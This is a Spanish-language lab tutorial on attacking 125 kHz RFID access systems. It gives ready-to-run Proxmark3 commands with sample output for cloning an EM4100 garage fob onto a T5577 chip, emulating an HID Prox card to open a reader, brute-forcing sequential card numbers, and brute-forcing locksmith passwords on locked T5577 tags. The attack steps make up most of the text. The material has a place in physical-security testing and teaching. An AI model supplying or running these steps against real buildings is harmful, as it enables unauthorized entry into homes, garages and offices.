Desmontando el estándar de 125 kHz presente en comunidades, parkings y oficinas: EM4100/4200, HID Prox II (Wiegand 26), Indala, AWID, Keri y el versátil chip Atmel T5577.
Dominar la captura en el aire de identificadores de 125 kHz sin cifrar, comprender la arquitectura Wiegand para ejecutar ataques de Replay y fuerza bruta en tornos de paso, y dominar la reprogramación y desprotección del chip Atmel T5577.
El protocolo EM4100 (desarrollado originalmente por EM Microelectronic) es el sistema de control de accesos más extendido del mundo en porteros automáticos, garajes residenciales y gimnasios de bajo presupuesto. Carece por completo de criptografía, desafíos de autenticación o secretos compartidos. Es un simple número transmitido en bucle abierto.
Tan pronto como la bobina recibe suficiente energía del campo de 125 kHz, el chip transmite cíclicamente una trama exacta de 64 bits codificada en modulación Manchester a 64 ciclos de reloj por bit (RF/64):
Meta del Lab: Leer un llavero azul de garaje (EM4100), extraer su identificador hexadecimal de 40 bits y clonarlo en un chip regrabable Atmel T5577 para abrir la puerta.
[usb] pm3 --> lf search
# Salida del cliente Proxmark3:
[=] NOTE: some tags need to be in the antenna field for a while
[+] [EM410x] Valid EM410x ID found!
[+] Chipset: EM4100 / EM4200 compatible
[+] Hex ID : 06 00 2B 4E 8A (5 bytes / 10 dígitos)
[+] Decimal: 0002838154
[+] Wiegand: 0x4E8A (20106)
[+] Modulation: Manchester, RF/64
Retira el llavero legítimo, coloca el llavero regrabable T5577 virgen en la antena LF y ejecuta:
[usb] pm3 --> lf em 410x clone --id 06002B4E8A
# Salida esperada:
[+] Preparing to clone EM410x ID 06002B4E8A to T5577...
[+] Writing Block 0 (Config): 0x00148040 (Modulation: Manchester, Bitrate: RF/64)
[+] Writing Block 1: 0x00000000
[+] Writing Block 2: 0x06002B4E
[+] Writing Block 3: 0x8A000000
[+] Done writing. Verifying with lf search...
[+] [EM410x] Valid EM410x ID found! Hex: 06002B4E8A
[+] SUCCESS! Tag cloned correctly.
El T5577 responde de forma idéntica al llavero original ante cualquier lector.
Las tarjetas HID Prox (y sus lectores ProxPoint Plus / MaxiProx) dominan los edificios de oficinas gubernamentales y corporativos en todo el mundo occidental. La señal se transmite modulada en FSK (Frequency Shift Keying) alternando entre 125 kHz y 104 kHz.
Un Facility Code solo tiene 256 combinaciones posibles. Una empresa mediana suele emitir tarjetas correlativas a sus empleados (ej. empleados del 1000 al 1500). Si un atacante observa la tarjeta de un empleado en la cafetería con el número impreso 4520, deducirá que el Facility Code de la empresa es válido y podrá generar credenciales para cualquier otro número.
Meta del Lab: Suplantar a un usuario legítimo frente a un lector mural HID emulando la señal de radio directamente desde el Proxmark3 (o Flipper Zero) sin disponer de una tarjeta física.
[usb] pm3 --> lf search
[+] [HID Prox] Valid HID Prox ID found!
[+] Format: H10301 (26-bit standard)
[+] Facility Code (FC): 104
[+] Card Number (CN) : 4521
[+] Raw Hex: 20046e3928
# Simular la tarjeta acercando la bobina del Proxmark3 al lector
[usb] pm3 --> lf hid sim --fc 104 --cn 4521
# El lector emitirá un 'BEEP', el LED cambiará de rojo a verde y el torno abrirá.
# Para realizar un ataque de fuerza bruta sobre números correlativos:
[usb] pm3 --> lf hid brute --fc 104 --min 4500 --max 4550 --delay 1000
El torno o lector de pruebas activa el relé de apertura por emulación RF.
Mientras que EM4100 y HID utilizan modulaciones directas, tecnologías como Indala (Motorola) introducen capas de ofuscación mediante matrices de inversión y permutación de bits en modulación PSK (Phase Shift Keying).
El chip Atmel / Microchip ATA5577 dispone de 330 bits de memoria EEPROM divididos en 2 páginas:
Meta del Lab: Recuperar un chip T5577 bloqueado con contraseña por duplicadores comerciales de cerrajería y restaurarlo a su estado de fábrica.
[usb] pm3 --> lf t55xx detect
[+] Chip type: T55x7 detected
[!] WARNING: Tag is password protected! Commands require -p <pwd>.
# Los duplicadores de cerrajería habituales (HandyBaby, iCopy, etc.) usan claves fijas
[usb] pm3 --> lf t55xx brute -d t55xx_default_pwds.dic
[+] Testing password '51243648'...
[+] Testing password '19920421'...
[+] SUCCESS! Valid password found: '51243648' (0x51243648)
# Desbloquear y limpiar el Bloque 0 para dejar el chip en modo virgen EM4100:
[usb] pm3 --> lf t55xx write -b 0 -d 00148040 -p 51243648
Tarjeta T5577 desbloqueada y lista para reescritura.